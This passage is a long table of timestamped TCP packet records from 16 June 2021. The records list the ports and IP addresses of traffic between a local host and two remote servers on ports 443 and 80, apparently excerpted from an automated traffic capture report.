Jun 16, 2021 12:06:03.404959917 CEST	443	49171	149.154.167.220	192.168.2.22
Jun 16, 2021 12:06:03.404973030 CEST	443	49171	149.154.167.220	192.168.2.22
Jun 16, 2021 12:06:03.404994965 CEST	443	49171	149.154.167.220	192.168.2.22
Jun 16, 2021 12:06:03.405014992 CEST	443	49171	149.154.167.220	192.168.2.22
Jun 16, 2021 12:06:03.405035019 CEST	443	49171	149.154.167.220	192.168.2.22
Jun 16, 2021 12:06:03.405054092 CEST	443	49171	149.154.167.220	192.168.2.22
Jun 16, 2021 12:06:03.405133009 CEST	443	49171	149.154.167.220	192.168.2.22
Jun 16, 2021 12:06:03.405158043 CEST	443	49171	149.154.167.220	192.168.2.22
Jun 16, 2021 12:06:03.405159950 CEST	49171	443	192.168.2.22	149.154.167.220
Jun 16, 2021 12:06:03.405246973 CEST	49171	443	192.168.2.22	149.154.167.220
Jun 16, 2021 12:06:03.405277967 CEST	49171	443	192.168.2.22	149.154.167.220
Jun 16, 2021 12:06:03.405287981 CEST	49171	443	192.168.2.22	149.154.167.220
Jun 16, 2021 12:06:03.451735020 CEST	443	49171	149.154.167.220	192.168.2.22
Jun 16, 2021 12:06:03.451770067 CEST	443	49171	149.154.167.220	192.168.2.22
Jun 16, 2021 12:06:03.451961040 CEST	49171	443	192.168.2.22	149.154.167.220
Jun 16, 2021 12:06:03.457081079 CEST	443	49171	149.154.167.220	192.168.2.22
Jun 16, 2021 12:06:03.457113981 CEST	443	49171	149.154.167.220	192.168.2.22
Jun 16, 2021 12:06:03.457124949 CEST	443	49171	149.154.167.220	192.168.2.22
Jun 16, 2021 12:06:03.457139969 CEST	443	49171	149.154.167.220	192.168.2.22
Jun 16, 2021 12:06:03.457155943 CEST	443	49171	149.154.167.220	192.168.2.22
Jun 16, 2021 12:06:03.457170963 CEST	443	49171	149.154.167.220	192.168.2.22
Jun 16, 2021 12:06:03.457186937 CEST	443	49171	149.154.167.220	192.168.2.22
Jun 16, 2021 12:06:03.457218885 CEST	443	49171	149.154.167.220	192.168.2.22
Jun 16, 2021 12:06:03.457220078 CEST	49171	443	192.168.2.22	149.154.167.220
Jun 16, 2021 12:06:03.457268953 CEST	443	49171	149.154.167.220	192.168.2.22
Jun 16, 2021 12:06:03.457353115 CEST	443	49171	149.154.167.220	192.168.2.22
Jun 16, 2021 12:06:03.457389116 CEST	443	49171	149.154.167.220	192.168.2.22
Jun 16, 2021 12:06:03.457429886 CEST	443	49171	149.154.167.220	192.168.2.22
Jun 16, 2021 12:06:03.457470894 CEST	443	49171	149.154.167.220	192.168.2.22
Jun 16, 2021 12:06:03.457516909 CEST	443	49171	149.154.167.220	192.168.2.22
Jun 16, 2021 12:06:03.457582951 CEST	443	49171	149.154.167.220	192.168.2.22
Jun 16, 2021 12:06:03.457623959 CEST	443	49171	149.154.167.220	192.168.2.22
Jun 16, 2021 12:06:03.503875971 CEST	443	49171	149.154.167.220	192.168.2.22
Jun 16, 2021 12:06:03.503901958 CEST	443	49171	149.154.167.220	192.168.2.22
Jun 16, 2021 12:06:03.503909111 CEST	443	49171	149.154.167.220	192.168.2.22
Jun 16, 2021 12:06:03.509150028 CEST	443	49171	149.154.167.220	192.168.2.22
Jun 16, 2021 12:06:03.509179115 CEST	443	49171	149.154.167.220	192.168.2.22
Jun 16, 2021 12:06:03.885014057 CEST	49170	80	192.168.2.22	172.67.158.27
Jun 16, 2021 12:06:03.927575111 CEST	80	49170	172.67.158.27	192.168.2.22
Jun 16, 2021 12:06:04.096467018 CEST	80	49170	172.67.158.27	192.168.2.22
Jun 16, 2021 12:06:04.096518993 CEST	80	49170	172.67.158.27	192.168.2.22
Jun 16, 2021 12:06:04.096549988 CEST	80	49170	172.67.158.27	192.168.2.22
Jun 16, 2021 12:06:04.096561909 CEST	49170	80	192.168.2.22	172.67.158.27
Jun 16, 2021 12:06:04.096580029 CEST	80	49170	172.67.158.27	192.168.2.22
Jun 16, 2021 12:06:04.096612930 CEST	80	49170	172.67.158.27	192.168.2.22
Jun 16, 2021 12:06:04.096622944 CEST	49170	80	192.168.2.22	172.67.158.27
Jun 16, 2021 12:06:04.096642971 CEST	80	49170	172.67.158.27	192.168.2.22
Jun 16, 2021 12:06:04.096673012 CEST	80	49170	172.67.158.27	192.168.2.22
Jun 16, 2021 12:06:04.096676111 CEST	49170	80	192.168.2.22	172.67.158.27
Jun 16, 2021 12:06:04.096703053 CEST	80	49170	172.67.158.27	192.168.2.22
Jun 16, 2021 12:06:04.096733093 CEST	80	49170	172.67.158.27	192.168.2.22
Jun 16, 2021 12:06:04.096733093 CEST	49170	80	192.168.2.22	172.67.158.27
Jun 16, 2021 12:06:04.096761942 CEST	80	49170	172.67.158.27	192.168.2.22
Jun 16, 2021 12:06:04.096791029 CEST	80	49170	172.67.158.27	192.168.2.22
Jun 16, 2021 12:06:04.096798897 CEST	49170	80	192.168.2.22	172.67.158.27
Jun 16, 2021 12:06:04.096821070 CEST	80	49170	172.67.158.27	192.168.2.22
Jun 16, 2021 12:06:04.096853018 CEST	80	49170	172.67.158.27	192.168.2.22
Jun 16, 2021 12:06:04.096858978 CEST	49170	80	192.168.2.22	172.67.158.27
Jun 16, 2021 12:06:04.096884012 CEST	80	49170	172.67.158.27	192.168.2.22
Jun 16, 2021 12:06:04.096913099 CEST	80	49170	172.67.158.27	192.168.2.22
Jun 16, 2021 12:06:04.096918106 CEST	49170	80	192.168.2.22	172.67.158.27
Jun 16, 2021 12:06:04.096945047 CEST	80	49170	172.67.158.27	192.168.2.22
Jun 16, 2021 12:06:04.096976042 CEST	80	49170	172.67.158.27	192.168.2.22
Jun 16, 2021 12:06:04.096977949 CEST	49170	80	192.168.2.22	172.67.158.27
Jun 16, 2021 12:06:04.097006083 CEST	80	49170	172.67.158.27	192.168.2.22
Jun 16, 2021 12:06:04.097033978 CEST	80	49170	172.67.158.27	192.168.2.22
Jun 16, 2021 12:06:04.097038031 CEST	49170	80	192.168.2.22	172.67.158.27
Jun 16, 2021 12:06:04.097065926 CEST	80	49170	172.67.158.27	192.168.2.22
Jun 16, 2021 12:06:04.097099066 CEST	49170	80	192.168.2.22	172.67.158.27
Jun 16, 2021 12:06:04.097099066 CEST	80	49170	172.67.158.27	192.168.2.22
Jun 16, 2021 12:06:04.097131014 CEST	80	49170	172.67.158.27	192.168.2.22
Jun 16, 2021 12:06:04.097162962 CEST	49170	80	192.168.2.22	172.67.158.27
Jun 16, 2021 12:06:04.097162962 CEST	80	49170	172.67.158.27	192.168.2.22
Jun 16, 2021 12:06:04.097196102 CEST	80	49170	172.67.158.27	192.168.2.22
Jun 16, 2021 12:06:04.097224951 CEST	80	49170	172.67.158.27	192.168.2.22
Jun 16, 2021 12:06:04.097229004 CEST	49170	80	192.168.2.22	172.67.158.27
Jun 16, 2021 12:06:04.097300053 CEST	80	49170	172.67.158.27	192.168.2.22
Jun 16, 2021 12:06:04.097335100 CEST	49170	80	192.168.2.22	172.67.158.27
Jun 16, 2021 12:06:04.097340107 CEST	80	49170	172.67.158.27	192.168.2.22
Jun 16, 2021 12:06:04.097368956 CEST	80	49170	172.67.158.27	192.168.2.22
Jun 16, 2021 12:06:04.097398043 CEST	80	49170	172.67.158.27	192.168.2.22
Jun 16, 2021 12:06:04.097402096 CEST	49170	80	192.168.2.22	172.67.158.27
Jun 16, 2021 12:06:04.097425938 CEST	80	49170	172.67.158.27	192.168.2.22
Jun 16, 2021 12:06:04.097455025 CEST	80	49170	172.67.158.27	192.168.2.22
Jun 16, 2021 12:06:04.097456932 CEST	49170	80	192.168.2.22	172.67.158.27
Jun 16, 2021 12:06:04.097482920 CEST	80	49170	172.67.158.27	192.168.2.22
Jun 16, 2021 12:06:04.097511053 CEST	80	49170	172.67.158.27	192.168.2.22
Jun 16, 2021 12:06:04.097513914 CEST	49170	80	192.168.2.22	172.67.158.27
Jun 16, 2021 12:06:04.097538948 CEST	80	49170	172.67.158.27	192.168.2.22
Jun 16, 2021 12:06:04.097567081 CEST	80	49170	172.67.158.27	192.168.2.22
Jun 16, 2021 12:06:04.097569942 CEST	49170	80	192.168.2.22	172.67.158.27
Jun 16, 2021 12:06:04.097594976 CEST	80	49170	172.67.158.27	192.168.2.22
Jun 16, 2021 12:06:04.097623110 CEST	80	49170	172.67.158.27	192.168.2.22
Jun 16, 2021 12:06:04.097626925 CEST	49170	80	192.168.2.22	172.67.158.27
Jun 16, 2021 12:06:04.097651005 CEST	80	49170	172.67.158.27	192.168.2.22
Jun 16, 2021 12:06:04.097677946 CEST	80	49170	172.67.158.27	192.168.2.22
Jun 16, 2021 12:06:04.097682953 CEST	49170	80	192.168.2.22	172.67.158.27
Jun 16, 2021 12:06:04.097706079 CEST	80	49170	172.67.158.27	192.168.2.22
Jun 16, 2021 12:06:04.097733021 CEST	80	49170	172.67.158.27	192.168.2.22
Jun 16, 2021 12:06:04.097737074 CEST	49170	80	192.168.2.22	172.67.158.27
Jun 16, 2021 12:06:04.097862959 CEST	49170	80	192.168.2.22	172.67.158.27
Jun 16, 2021 12:06:04.098176956 CEST	49170	80	192.168.2.22	172.67.158.27
Jun 16, 2021 12:06:04.098263979 CEST	80	49170	172.67.158.27	192.168.2.22
Jun 16, 2021 12:06:04.098304033 CEST	80	49170	172.67.158.27	192.168.2.22
Jun 16, 2021 12:06:04.098335981 CEST	80	49170	172.67.158.27	192.168.2.22
Jun 16, 2021 12:06:04.098339081 CEST	49170	80	192.168.2.22	172.67.158.27
Jun 16, 2021 12:06:04.098368883 CEST	80	49170	172.67.158.27	192.168.2.22
Jun 16, 2021 12:06:04.098401070 CEST	49170	80	192.168.2.22	172.67.158.27
Jun 16, 2021 12:06:04.098402977 CEST	80	49170	172.67.158.27	192.168.2.22
Jun 16, 2021 12:06:04.098436117 CEST	80	49170	172.67.158.27	192.168.2.22
Jun 16, 2021 12:06:04.098468065 CEST	49170	80	192.168.2.22	172.67.158.27
Jun 16, 2021 12:06:04.098468065 CEST	80	49170	172.67.158.27	192.168.2.22
Jun 16, 2021 12:06:04.098500013 CEST	80	49170	172.67.158.27	192.168.2.22
Jun 16, 2021 12:06:04.098531008 CEST	49170	80	192.168.2.22	172.67.158.27
Jun 16, 2021 12:06:04.098532915 CEST	80	49170	172.67.158.27	192.168.2.22
Jun 16, 2021 12:06:04.098566055 CEST	80	49170	172.67.158.27	192.168.2.22
Jun 16, 2021 12:06:04.098598957 CEST	80	49170	172.67.158.27	192.168.2.22
Jun 16, 2021 12:06:04.098598957 CEST	49170	80	192.168.2.22	172.67.158.27
Jun 16, 2021 12:06:04.098628998 CEST	80	49170	172.67.158.27	192.168.2.22
Jun 16, 2021 12:06:04.098659039 CEST	49170	80	192.168.2.22	172.67.158.27
Jun 16, 2021 12:06:04.098659992 CEST	80	49170	172.67.158.27	192.168.2.22
Jun 16, 2021 12:06:04.098690987 CEST	80	49170	172.67.158.27	192.168.2.22
Jun 16, 2021 12:06:04.098721027 CEST	49170	80	192.168.2.22	172.67.158.27
Jun 16, 2021 12:06:04.098721981 CEST	80	49170	172.67.158.27	192.168.2.22
Jun 16, 2021 12:06:04.098753929 CEST	80	49170	172.67.158.27	192.168.2.22
Jun 16, 2021 12:06:04.098786116 CEST	49170	80	192.168.2.22	172.67.158.27
Jun 16, 2021 12:06:04.099172115 CEST	80	49170	172.67.158.27	192.168.2.22
Jun 16, 2021 12:06:04.099201918 CEST	80	49170	172.67.158.27	192.168.2.22
Jun 16, 2021 12:06:04.099237919 CEST	80	49170	172.67.158.27	192.168.2.22
Jun 16, 2021 12:06:04.099242926 CEST	49170	80	192.168.2.22	172.67.158.27
Jun 16, 2021 12:06:04.099271059 CEST	80	49170	172.67.158.27	192.168.2.22
Jun 16, 2021 12:06:04.099299908 CEST	80	49170	172.67.158.27	192.168.2.22
Jun 16, 2021 12:06:04.099309921 CEST	49170	80	192.168.2.22	172.67.158.27
Jun 16, 2021 12:06:04.099328995 CEST	80	49170	172.67.158.27	192.168.2.22
Jun 16, 2021 12:06:04.099355936 CEST	80	49170	172.67.158.27	192.168.2.22
Jun 16, 2021 12:06:04.099360943 CEST	49170	80	192.168.2.22	172.67.158.27
Jun 16, 2021 12:06:04.099384069 CEST	80	49170	172.67.158.27	192.168.2.22
Jun 16, 2021 12:06:04.099411011 CEST	80	49170	172.67.158.27	192.168.2.22
Jun 16, 2021 12:06:04.099415064 CEST	49170	80	192.168.2.22	172.67.158.27
Jun 16, 2021 12:06:04.099440098 CEST	80	49170	172.67.158.27	192.168.2.22
Jun 16, 2021 12:06:04.099467039 CEST	80	49170	172.67.158.27	192.168.2.22
Jun 16, 2021 12:06:04.099469900 CEST	49170	80	192.168.2.22	172.67.158.27
Jun 16, 2021 12:06:04.099495888 CEST	80	49170	172.67.158.27	192.168.2.22
Jun 16, 2021 12:06:04.099523067 CEST	80	49170	172.67.158.27	192.168.2.22
Jun 16, 2021 12:06:04.099526882 CEST	49170	80	192.168.2.22	172.67.158.27
Jun 16, 2021 12:06:04.099549055 CEST	80	49170	172.67.158.27	192.168.2.22
Jun 16, 2021 12:06:04.099575996 CEST	80	49170	172.67.158.27	192.168.2.22
Jun 16, 2021 12:06:04.099579096 CEST	49170	80	192.168.2.22	172.67.158.27
Jun 16, 2021 12:06:04.099605083 CEST	80	49170	172.67.158.27	192.168.2.22
Jun 16, 2021 12:06:04.099634886 CEST	49170	80	192.168.2.22	172.67.158.27
Jun 16, 2021 12:06:04.100074053 CEST	80	49170	172.67.158.27	192.168.2.22
Jun 16, 2021 12:06:04.100109100 CEST	80	49170	172.67.158.27	192.168.2.22
Jun 16, 2021 12:06:04.100137949 CEST	80	49170	172.67.158.27	192.168.2.22
Jun 16, 2021 12:06:04.100146055 CEST	49170	80	192.168.2.22	172.67.158.27
Jun 16, 2021 12:06:04.100167990 CEST	80	49170	172.67.158.27	192.168.2.22
Jun 16, 2021 12:06:04.100198030 CEST	80	49170	172.67.158.27	192.168.2.22
Jun 16, 2021 12:06:04.100200891 CEST	49170	80	192.168.2.22	172.67.158.27
Jun 16, 2021 12:06:04.100228071 CEST	80	49170	172.67.158.27	192.168.2.22
Jun 16, 2021 12:06:04.100256920 CEST	80	49170	172.67.158.27	192.168.2.22
Jun 16, 2021 12:06:04.100259066 CEST	49170	80	192.168.2.22	172.67.158.27
Jun 16, 2021 12:06:04.100287914 CEST	80	49170	172.67.158.27	192.168.2.22
Jun 16, 2021 12:06:04.100317955 CEST	49170	80	192.168.2.22	172.67.158.27
Jun 16, 2021 12:06:04.100317955 CEST	80	49170	172.67.158.27	192.168.2.22
Jun 16, 2021 12:06:04.100348949 CEST	80	49170	172.67.158.27	192.168.2.22
Jun 16, 2021 12:06:04.100378990 CEST	80	49170	172.67.158.27	192.168.2.22
Jun 16, 2021 12:06:04.100379944 CEST	49170	80	192.168.2.22	172.67.158.27
Jun 16, 2021 12:06:04.100409031 CEST	80	49170	172.67.158.27	192.168.2.22
Jun 16, 2021 12:06:04.100439072 CEST	80	49170	172.67.158.27	192.168.2.22
Jun 16, 2021 12:06:04.100440979 CEST	49170	80	192.168.2.22	172.67.158.27
Jun 16, 2021 12:06:04.100469112 CEST	80	49170	172.67.158.27	192.168.2.22
Jun 16, 2021 12:06:04.100497961 CEST	80	49170	172.67.158.27	192.168.2.22
Jun 16, 2021 12:06:04.100498915 CEST	49170	80	192.168.2.22	172.67.158.27
Jun 16, 2021 12:06:04.100528002 CEST	80	49170	172.67.158.27	192.168.2.22
Jun 16, 2021 12:06:04.100558043 CEST	49170	80	192.168.2.22	172.67.158.27
Jun 16, 2021 12:06:04.101164103 CEST	80	49170	172.67.158.27	192.168.2.22
Jun 16, 2021 12:06:04.101197958 CEST	80	49170	172.67.158.27	192.168.2.22
Jun 16, 2021 12:06:04.101226091 CEST	80	49170	172.67.158.27	192.168.2.22
Jun 16, 2021 12:06:04.101236105 CEST	49170	80	192.168.2.22	172.67.158.27
Jun 16, 2021 12:06:04.101253033 CEST	80	49170	172.67.158.27	192.168.2.22
Jun 16, 2021 12:06:04.101280928 CEST	80	49170	172.67.158.27	192.168.2.22
Jun 16, 2021 12:06:04.101288080 CEST	49170	80	192.168.2.22	172.67.158.27
Jun 16, 2021 12:06:04.101309061 CEST	80	49170	172.67.158.27	192.168.2.22
Jun 16, 2021 12:06:04.101335049 CEST	80	49170	172.67.158.27	192.168.2.22
Jun 16, 2021 12:06:04.101341963 CEST	49170	80	192.168.2.22	172.67.158.27
Jun 16, 2021 12:06:04.101362944 CEST	80	49170	172.67.158.27	192.168.2.22
Jun 16, 2021 12:06:04.101391077 CEST	80	49170	172.67.158.27	192.168.2.22
Jun 16, 2021 12:06:04.101394892 CEST	49170	80	192.168.2.22	172.67.158.27
Jun 16, 2021 12:06:04.101417065 CEST	80	49170	172.67.158.27	192.168.2.22
Jun 16, 2021 12:06:04.101443052 CEST	80	49170	172.67.158.27	192.168.2.22
Jun 16, 2021 12:06:04.101447105 CEST	49170	80	192.168.2.22	172.67.158.27
Jun 16, 2021 12:06:04.101469040 CEST	80	49170	172.67.158.27	192.168.2.22
Jun 16, 2021 12:06:04.101495028 CEST	80	49170	172.67.158.27	192.168.2.22
Jun 16, 2021 12:06:04.101501942 CEST	49170	80	192.168.2.22	172.67.158.27
Jun 16, 2021 12:06:04.101521969 CEST	80	49170	172.67.158.27	192.168.2.22
Jun 16, 2021 12:06:04.101547003 CEST	80	49170	172.67.158.27	192.168.2.22
Jun 16, 2021 12:06:04.101555109 CEST	49170	80	192.168.2.22	172.67.158.27
Jun 16, 2021 12:06:04.101576090 CEST	80	49170	172.67.158.27	192.168.2.22
Jun 16, 2021 12:06:04.101609945 CEST	49170	80	192.168.2.22	172.67.158.27
Jun 16, 2021 12:06:04.101907015 CEST	80	49170	172.67.158.27	192.168.2.22
Jun 16, 2021 12:06:04.101941109 CEST	80	49170	172.67.158.27	192.168.2.22
Jun 16, 2021 12:06:04.101969957 CEST	80	49170	172.67.158.27	192.168.2.22
Jun 16, 2021 12:06:04.101977110 CEST	49170	80	192.168.2.22	172.67.158.27
Jun 16, 2021 12:06:04.101999998 CEST	80	49170	172.67.158.27	192.168.2.22
Jun 16, 2021 12:06:04.102029085 CEST	80	49170	172.67.158.27	192.168.2.22
Jun 16, 2021 12:06:04.102032900 CEST	49170	80	192.168.2.22	172.67.158.27
Jun 16, 2021 12:06:04.102061033 CEST	80	49170	172.67.158.27	192.168.2.22
Jun 16, 2021 12:06:04.102092028 CEST	80	49170	172.67.158.27	192.168.2.22
Jun 16, 2021 12:06:04.102094889 CEST	49170	80	192.168.2.22	172.67.158.27
Jun 16, 2021 12:06:04.102123022 CEST	80	49170	172.67.158.27	192.168.2.22
Jun 16, 2021 12:06:04.102152109 CEST	80	49170	172.67.158.27	192.168.2.22
Jun 16, 2021 12:06:04.102155924 CEST	49170	80	192.168.2.22	172.67.158.27
Jun 16, 2021 12:06:04.102183104 CEST	80	49170	172.67.158.27	192.168.2.22
Jun 16, 2021 12:06:04.102214098 CEST	80	49170	172.67.158.27	192.168.2.22
Jun 16, 2021 12:06:04.102221966 CEST	49170	80	192.168.2.22	172.67.158.27
Jun 16, 2021 12:06:04.102243900 CEST	80	49170	172.67.158.27	192.168.2.22
Jun 16, 2021 12:06:04.102274895 CEST	80	49170	172.67.158.27	192.168.2.22
Jun 16, 2021 12:06:04.102277040 CEST	49170	80	192.168.2.22	172.67.158.27
Jun 16, 2021 12:06:04.102307081 CEST	80	49170	172.67.158.27	192.168.2.22
Jun 16, 2021 12:06:04.102334976 CEST	80	49170	172.67.158.27	192.168.2.22
Jun 16, 2021 12:06:04.102338076 CEST	49170	80	192.168.2.22	172.67.158.27
Jun 16, 2021 12:06:04.102364063 CEST	80	49170	172.67.158.27	192.168.2.22
Jun 16, 2021 12:06:04.102394104 CEST	49170	80	192.168.2.22	172.67.158.27
Jun 16, 2021 12:06:04.102884054 CEST	80	49170	172.67.158.27	192.168.2.22
Jun 16, 2021 12:06:04.102921009 CEST	80	49170	172.67.158.27	192.168.2.22
Jun 16, 2021 12:06:04.102946997 CEST	80	49170	172.67.158.27	192.168.2.22
Jun 16, 2021 12:06:04.102962017 CEST	49170	80	192.168.2.22	172.67.158.27
Jun 16, 2021 12:06:04.102973938 CEST	80	49170	172.67.158.27	192.168.2.22
Jun 16, 2021 12:06:04.102999926 CEST	80	49170	172.67.158.27	192.168.2.22
Jun 16, 2021 12:06:04.103020906 CEST	49170	80	192.168.2.22	172.67.158.27
Jun 16, 2021 12:06:04.103025913 CEST	80	49170	172.67.158.27	192.168.2.22
Jun 16, 2021 12:06:04.103053093 CEST	80	49170	172.67.158.27	192.168.2.22
Jun 16, 2021 12:06:04.103060007 CEST	49170	80	192.168.2.22	172.67.158.27
Jun 16, 2021 12:06:04.103081942 CEST	80	49170	172.67.158.27	192.168.2.22
Jun 16, 2021 12:06:04.103111029 CEST	80	49170	172.67.158.27	192.168.2.22
Jun 16, 2021 12:06:04.103133917 CEST	49170	80	192.168.2.22	172.67.158.27
Jun 16, 2021 12:06:04.103162050 CEST	80	49170	172.67.158.27	192.168.2.22
Jun 16, 2021 12:06:04.103188992 CEST	80	49170	172.67.158.27	192.168.2.22
Jun 16, 2021 12:06:04.103195906 CEST	49170	80	192.168.2.22	172.67.158.27
Jun 16, 2021 12:06:04.103216887 CEST	80	49170	172.67.158.27	192.168.2.22
Jun 16, 2021 12:06:04.103244066 CEST	80	49170	172.67.158.27	192.168.2.22
Jun 16, 2021 12:06:04.103250980 CEST	49170	80	192.168.2.22	172.67.158.27
Jun 16, 2021 12:06:04.103271008 CEST	80	49170	172.67.158.27	192.168.2.22
Jun 16, 2021 12:06:04.103300095 CEST	80	49170	172.67.158.27	192.168.2.22
Jun 16, 2021 12:06:04.103302002 CEST	49170	80	192.168.2.22	172.67.158.27
Jun 16, 2021 12:06:04.103328943 CEST	80	49170	172.67.158.27	192.168.2.22
Jun 16, 2021 12:06:04.103359938 CEST	49170	80	192.168.2.22	172.67.158.27
Jun 16, 2021 12:06:04.103797913 CEST	80	49170	172.67.158.27	192.168.2.22
Jun 16, 2021 12:06:04.103842020 CEST	80	49170	172.67.158.27	192.168.2.22
Jun 16, 2021 12:06:04.103877068 CEST	49170	80	192.168.2.22	172.67.158.27
Jun 16, 2021 12:06:04.103879929 CEST	80	49170	172.67.158.27	192.168.2.22
Jun 16, 2021 12:06:04.103908062 CEST	80	49170	172.67.158.27	192.168.2.22
Jun 16, 2021 12:06:04.103934050 CEST	80	49170	172.67.158.27	192.168.2.22
Jun 16, 2021 12:06:04.103941917 CEST	49170	80	192.168.2.22	172.67.158.27
Jun 16, 2021 12:06:04.103960991 CEST	80	49170	172.67.158.27	192.168.2.22
Jun 16, 2021 12:06:04.103986979 CEST	80	49170	172.67.158.27	192.168.2.22
Jun 16, 2021 12:06:04.103995085 CEST	49170	80	192.168.2.22	172.67.158.27
Jun 16, 2021 12:06:04.104017019 CEST	80	49170	172.67.158.27	192.168.2.22
Jun 16, 2021 12:06:04.104047060 CEST	49170	80	192.168.2.22	172.67.158.27
Jun 16, 2021 12:06:04.104048014 CEST	80	49170	172.67.158.27	192.168.2.22
Jun 16, 2021 12:06:04.104077101 CEST	80	49170	172.67.158.27	192.168.2.22
Jun 16, 2021 12:06:04.104108095 CEST	80	49170	172.67.158.27	192.168.2.22
Jun 16, 2021 12:06:04.104115963 CEST	49170	80	192.168.2.22	172.67.158.27
Jun 16, 2021 12:06:04.104139090 CEST	80	49170	172.67.158.27	192.168.2.22
Jun 16, 2021 12:06:04.104168892 CEST	80	49170	172.67.158.27	192.168.2.22
Jun 16, 2021 12:06:04.104173899 CEST	49170	80	192.168.2.22	172.67.158.27
Jun 16, 2021 12:06:04.104199886 CEST	80	49170	172.67.158.27	192.168.2.22
Jun 16, 2021 12:06:04.104228973 CEST	80	49170	172.67.158.27	192.168.2.22
Jun 16, 2021 12:06:04.104237080 CEST	49170	80	192.168.2.22	172.67.158.27
Jun 16, 2021 12:06:04.104259968 CEST	80	49170	172.67.158.27	192.168.2.22
Jun 16, 2021 12:06:04.104295969 CEST	49170	80	192.168.2.22	172.67.158.27
Jun 16, 2021 12:06:04.104688883 CEST	80	49170	172.67.158.27	192.168.2.22
Jun 16, 2021 12:06:04.104723930 CEST	80	49170	172.67.158.27	192.168.2.22
Jun 16, 2021 12:06:04.104752064 CEST	80	49170	172.67.158.27	192.168.2.22
Jun 16, 2021 12:06:04.104760885 CEST	49170	80	192.168.2.22	172.67.158.27
Jun 16, 2021 12:06:04.104782104 CEST	80	49170	172.67.158.27	192.168.2.22
Jun 16, 2021 12:06:04.104809999 CEST	80	49170	172.67.158.27	192.168.2.22
Jun 16, 2021 12:06:04.104825974 CEST	49170	80	192.168.2.22	172.67.158.27
Jun 16, 2021 12:06:04.104840040 CEST	80	49170	172.67.158.27	192.168.2.22
Jun 16, 2021 12:06:04.104867935 CEST	80	49170	172.67.158.27	192.168.2.22
Jun 16, 2021 12:06:04.104873896 CEST	49170	80	192.168.2.22	172.67.158.27
Jun 16, 2021 12:06:04.104896069 CEST	80	49170	172.67.158.27	192.168.2.22
Jun 16, 2021 12:06:04.104927063 CEST	80	49170	172.67.158.27	192.168.2.22
Jun 16, 2021 12:06:04.104932070 CEST	49170	80	192.168.2.22	172.67.158.27
Jun 16, 2021 12:06:04.104960918 CEST	80	49170	172.67.158.27	192.168.2.22
Jun 16, 2021 12:06:04.104991913 CEST	80	49170	172.67.158.27	192.168.2.22
Jun 16, 2021 12:06:04.105003119 CEST	49170	80	192.168.2.22	172.67.158.27
Jun 16, 2021 12:06:04.105021954 CEST	80	49170	172.67.158.27	192.168.2.22
Jun 16, 2021 12:06:04.105053902 CEST	80	49170	172.67.158.27	192.168.2.22
Jun 16, 2021 12:06:04.105053902 CEST	49170	80	192.168.2.22	172.67.158.27
Jun 16, 2021 12:06:04.105082989 CEST	80	49170	172.67.158.27	192.168.2.22
Jun 16, 2021 12:06:04.105112076 CEST	80	49170	172.67.158.27	192.168.2.22
Jun 16, 2021 12:06:04.105113983 CEST	49170	80	192.168.2.22	172.67.158.27
Jun 16, 2021 12:06:04.105140924 CEST	80	49170	172.67.158.27	192.168.2.22
Jun 16, 2021 12:06:04.105182886 CEST	49170	80	192.168.2.22	172.67.158.27
Jun 16, 2021 12:06:04.105587006 CEST	49170	80	192.168.2.22	172.67.158.27
Jun 16, 2021 12:06:04.106033087 CEST	49170	80	192.168.2.22	172.67.158.27
Jun 16, 2021 12:06:04.140100956 CEST	80	49170	172.67.158.27	192.168.2.22
Jun 16, 2021 12:06:04.140141010 CEST	80	49170	172.67.158.27	192.168.2.22
Jun 16, 2021 12:06:04.140173912 CEST	80	49170	172.67.158.27	192.168.2.22
Jun 16, 2021 12:06:04.140187979 CEST	49170	80	192.168.2.22	172.67.158.27
Jun 16, 2021 12:06:04.140199900 CEST	80	49170	172.67.158.27	192.168.2.22
Jun 16, 2021 12:06:04.140224934 CEST	80	49170	172.67.158.27	192.168.2.22
Jun 16, 2021 12:06:04.140232086 CEST	49170	80	192.168.2.22	172.67.158.27
Jun 16, 2021 12:06:04.140249014 CEST	80	49170	172.67.158.27	192.168.2.22
Jun 16, 2021 12:06:04.140273094 CEST	80	49170	172.67.158.27	192.168.2.22
Jun 16, 2021 12:06:04.140292883 CEST	49170	80	192.168.2.22	172.67.158.27
Jun 16, 2021 12:06:04.140297890 CEST	80	49170	172.67.158.27	192.168.2.22
Jun 16, 2021 12:06:04.140326977 CEST	80	49170	172.67.158.27	192.168.2.22
Jun 16, 2021 12:06:04.140335083 CEST	49170	80	192.168.2.22	172.67.158.27
Jun 16, 2021 12:06:04.140355110 CEST	80	49170	172.67.158.27	192.168.2.22
Jun 16, 2021 12:06:04.140383005 CEST	80	49170	172.67.158.27	192.168.2.22
Jun 16, 2021 12:06:04.140389919 CEST	49170	80	192.168.2.22	172.67.158.27
Jun 16, 2021 12:06:04.140407085 CEST	80	49170	172.67.158.27	192.168.2.22
Jun 16, 2021 12:06:04.140429974 CEST	80	49170	172.67.158.27	192.168.2.22
Jun 16, 2021 12:06:04.140440941 CEST	49170	80	192.168.2.22	172.67.158.27
Jun 16, 2021 12:06:04.140455008 CEST	80	49170	172.67.158.27	192.168.2.22
Jun 16, 2021 12:06:04.140481949 CEST	49170	80	192.168.2.22	172.67.158.27
Jun 16, 2021 12:06:04.140486002 CEST	80	49170	172.67.158.27	192.168.2.22
Jun 16, 2021 12:06:04.140527010 CEST	80	49170	172.67.158.27	192.168.2.22
Jun 16, 2021 12:06:04.140558958 CEST	80	49170	172.67.158.27	192.168.2.22
Jun 16, 2021 12:06:04.140571117 CEST	49170	80	192.168.2.22	172.67.158.27
Jun 16, 2021 12:06:04.140597105 CEST	80	49170	172.67.158.27	192.168.2.22
Jun 16, 2021 12:06:04.140635014 CEST	80	49170	172.67.158.27	192.168.2.22
Jun 16, 2021 12:06:04.140636921 CEST	49170	80	192.168.2.22	172.67.158.27
Jun 16, 2021 12:06:04.140806913 CEST	49170	80	192.168.2.22	172.67.158.27
Jun 16, 2021 12:06:04.141010046 CEST	49170	80	192.168.2.22	172.67.158.27
Jun 16, 2021 12:06:04.141022921 CEST	80	49170	172.67.158.27	192.168.2.22
Jun 16, 2021 12:06:04.141063929 CEST	80	49170	172.67.158.27	192.168.2.22
Jun 16, 2021 12:06:04.141091108 CEST	80	49170	172.67.158.27	192.168.2.22
Jun 16, 2021 12:06:04.141098022 CEST	49170	80	192.168.2.22	172.67.158.27
Jun 16, 2021 12:06:04.141117096 CEST	80	49170	172.67.158.27	192.168.2.22
Jun 16, 2021 12:06:04.141144037 CEST	80	49170	172.67.158.27	192.168.2.22
Jun 16, 2021 12:06:04.141151905 CEST	49170	80	192.168.2.22	172.67.158.27
